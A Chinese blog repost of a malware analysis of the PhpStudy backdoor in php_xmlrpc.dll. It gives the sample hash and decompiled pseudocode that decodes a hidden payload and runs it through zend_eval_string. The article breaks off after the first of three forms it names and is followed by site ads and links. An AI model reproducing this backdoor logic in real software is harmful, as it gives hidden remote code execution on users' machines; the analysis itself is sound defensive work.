作者：Hcamael@知道创宇404实验室
时间：2019年9月26日
背景介绍
2019/09/20，一则杭州警方通报打击涉网违法犯罪专项行动战果的新闻出现在我的朋友圈，其中通报了警方发现PhpStudy软件被种入后门后进行的侦查和逮捕了犯罪嫌疑人的事情。用PhpStudy的Web狗还挺多的，曾经我还是Web狗的时候也用过几天，不过因为不习惯就卸了。还记得当初会用PhpStudy的原因是在网上自学一些Web方向的课程时，那些课程中就是使用PhpStudy。在拿到样本后，我就对PhpStudy中的后门进行了一波逆向分析。
后门分析
最近关于讲phpstudy的文章很多，不过我只得到一个信息，后门在php_xmlrpc.dll文件中，有关键词："eval(%s(%s))"。得知这个信息后，就降低了前期的工作难度。可以直接对该dll文件进行逆向分析。
我拿到的是2018 phpstudy的样本: MD5 (php_xmlrpc.dll) = c339482fd2b233fb0a555b629c0ea5d5
对字符串进行搜索，很容易的搜到了函数：sub_100031F0
经过对该函数逆向分析，发现该后门可以分为三种形式：
1.触发固定payload：
v12 = strcmp(**v34, aCompressGzip); if ( !v12 ) { v13 = &rce_cmd; v14 = (char *)&unk_1000D66C; v42 = &rce_cmd; v15 = &unk_1000D66C; while ( 1 ) { if ( *v15 == '\'' ) { v13[v12] = '\\'; v42[v12 + 1] = *v14; v12 += 2; v15 += 2; } else { v13[v12++] = *v14; ++v15; } v14 += 4; if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) break; v13 = v42; } spprintf(&v36, 0, aVSMS, byte_100127B8, Dest); spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v17 = *(void **)(v16 + 296); *(_DWORD *)(v16 + 296) = &v32; v40 = v17; v18 = setjmp3((int)&v32, 0); v19 = v40; if ( v18 ) { v20 = a3; *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40; } else { v20 = a3; zend_eval_string(v42, 0, &rce_cmd, a3); } result = 0; *(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19; return result; }免责声明：
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的，并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据，供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
软考中级精品资料免费领
历年真题答案解析
备考技巧名师总结
高频考点精准押题
- 资料下载
- 历年真题
193.9 KB下载数265
191.63 KB下载数245
143.91 KB下载数1148
183.71 KB下载数642
644.84 KB下载数2756
相关文章
发现更多好内容- 如何确定 Java 临时变量的类型和值？(Java临时变量的类型和值如何确定)
- Java 线程池常见问题及应对措施有哪些？(java线程池会出现的问题有哪些)
- 如何使用 redis 可视化工具的数据分析功能？(redis可视化工具的数据分析功能如何)
- 如何调用 Java 的 concat 方法？(java concat方法怎么调用)
- Java 中 System.in 的具体作用究竟是什么？(java中system.in的作用是什么)
- Java 中如何声明私有变量？(java私有变量如何声明)
- Java webservice 接口如何进行调用？(Java webservice接口如何调用)
- Java 下载文件的最佳实践究竟是什么？(java下载文件的最佳实践是什么)
- Java 如何实现拓扑图？详细步骤及代码示例(java如何实现拓扑图)
- Java 中如何设置 PrintWriter 的编码？(Java中printwriter设置编码的方法是什么)
猜你喜欢
AI推送时光机PhpStudy 后门分析
Phpstudy后门漏洞复现
PhpStudy后门漏洞实战复现
分析Java前后端分离以及Vue.js入门
Java十道入门易踩坑题分析后篇
Python中关于前后端分离开发入门的示例分析
Oracle分析函数入门
